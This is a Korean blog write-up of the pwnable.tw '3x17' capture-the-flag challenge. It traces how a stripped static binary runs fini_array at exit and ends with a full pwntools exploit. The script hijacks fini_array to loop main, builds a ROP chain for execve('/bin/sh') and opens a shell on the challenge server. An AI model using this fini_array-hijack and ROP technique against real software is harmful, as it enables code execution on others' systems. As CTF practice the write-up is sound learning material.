2019. 11. 25. 05:19ㆍ0x04 pwnable/Pwnable.tw
보호기법 확인해보니 NX Enable
NX가 Enable되어 있고, Partial RelRo가 적용되어 있다면 ROP를 이용할 수 있겠다는 시나리오를 안고 가자.
메인함수를 살펴보면 이렇다.
일단 메인함수가 진행되면, 첫 번째 조건문은 만족하게 된다. 근데 문제점이 있다.
두 가지의 데이터를 입력받고 나면 프로그램이 정상종료 되게 설계 되어있다.
해커 관점으로 이 부분을 어떻게 가지고 놀 것인지 고민해봐야한다.
ELF 파일에서 프로그램이 꺼질 때 무엇을 건드는지 알 필요성이 있었다. 이전에 연구해본 Windows Visual Studio 기반에서는 PE 구조를 체킹하는 부분이 존재했었다.
ELF 파일을 똑같이 만들고 메인함수 이후에 어떤 작업을 하는지 살펴보면 도움이 될 거라고 판단했다. (새로 만들면 non strip이기 때문에)
[non strip]
[strip]
비교했을 때 알 수 있는 것은 mov r8에 대입되는 값은 __libc_csu_fini라는 것이다. 이 녀석을 적절히 이용하면 main 함수를 한번 더 사용할 수 있지 않을까.. 왜냐면 fini_array는 프로그램 종료와 연관성이 있는 녀석이니까. 종료 안되게 슥삭 바꾸면 된다고 생각한다.
여기서 pop 4번 때리면 main+0 으로 리턴 됨 ㅇㅈ ? 근데 이렇게 풀 수가 없음. pop 4번을 할 수 없기에 잘못 된 시나리오로 판명.
일단, 메인을 여러번 실행 시키는 거 부터 가능하게 해야하기에 바이너리 내 addr 입력 부분에 fini_array 주소를 입력하고, 디버깅해보았다.
0x600e18이 가리키고 있는 값은 __do_global_dtors_aux [0x400590]
main 끝나기 직전에 exit -> _run_exit_handlers로 접근하게 된다.
__run_exit_handlers를 자세히 살펴보기로 했다.
__run_exit_handlers+230> call rdx 여기에 들어가면 _dl_fini로 들어갈 수 있다.
으악..너무 루틴이 긴데..?
이건 나올 수가 없는 함수이다. exit 내부에서 호출 되는 것이기 때문에 야매로 하기 실패 ㅎㅎ
루틴이 긴것을 감안하고 분석을 진행해봐야한다. _dl_fini 분명히 뭔가 정보가 있을 것이다.
특정 블로그에서 괜찮은 정보를 찾았다.
블로그 내용을 요약하면, _dl_fini에서 fini_array의 정보를 알 수 있다.
트리거 성공
후 ROP 공부 좀 다시해야하나... 싶었는데 syscall을 이상한 거 넣어놨었다..
이번엔 bss 말고 tbss라는것을 이용해보았다.
#-*-encoding:utf-8-*-
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
DEBUG = 0
if DEBUG:
print("LOCAL")
p = process('./3x17')
else:
print("REMOTE")
p = remote('chall.pwnable.tw', 10105)
e = ELF('./3x17')
fini_array = 0x4b40f0
main_addr = 0x401B6D
fini_call = 0x402960
#Find Gadget
# in objdump -d
leave = 0x401C4B # in main
#syscall = 0x4a5bab --> 아 이거 syscall아니네..
syscall = 0x481ca5
tbss = 0x4b40e0
# 생각해보니 ret가 꼭 있어야했다.. !! rop !!
pop_rax = 0x41e4af
pop_rdi = 0x47dce5
pop_rsi = 0x48db36
pop_rdx = 0x446e35
def arbitraryWrite(one,two):
p.sendlineafter("addr:",str(one))
#p.sendlineafter("data:",two) # 왜 이건 안돼..ㅅㅂ
p.sendafter("data:",two)
# main함수는 끝날 때 fini_call을 호출 받게 되는데
# fini_call은 앞부분은 자기자신 , 뒷부분은 바뀔 함수 포인터를 넣을 수 있다
# x86-64 register => rdi -> rsi -> rdx -> rcx
# 근데 해당 바이너리에 rcx가 없는거 같음 그래서 안넣음 ^_^
# 오랜만에 해서 까먹은 지식.. syscall은 rax여야 함
## system call - %rax 이어야 함
# syscall(59) -> execve 함수 실행 가능
# execve("/bin/sh") 가능
# 다른 인자들 전부 깔끔하게 0으로 정리
#print(hex(p64(fini_call))
# Trigger
arbitraryWrite(fini_array, p64(fini_call) + p64(main_addr))
# Exploit
arbitraryWrite(tbss, '/bin/sh\x00')
arbitraryWrite(fini_array+0x10, p64(pop_rdi) + p64(tbss))
arbitraryWrite(fini_array+0x20, p64(pop_rsi) + p64(0) )
arbitraryWrite(fini_array+0x30, p64(pop_rdx) + p64(0) )
arbitraryWrite(fini_array+0x40, p64(pop_rax) + p64(59))
arbitraryWrite(fini_array+0x50, p64(syscall))
# 마무리
arbitraryWrite(fini_array,p64(leave))
p.interactive()
참고 자료
http://blog.k3170makan.com/2018/10/introduction-to-elf-format-part-v.html
http://egloos.zum.com/studyfoss/v/5283161
https://xerxes-break.tistory.com/category/Pwnable%21%21
'0x04 pwnable > Pwnable.tw' 카테고리의 다른 글
orw (0) | 2018.06.12 |
---|---|
calc (0) | 2018.06.12 |
pwnable.tw start (0) | 2018.05.03 |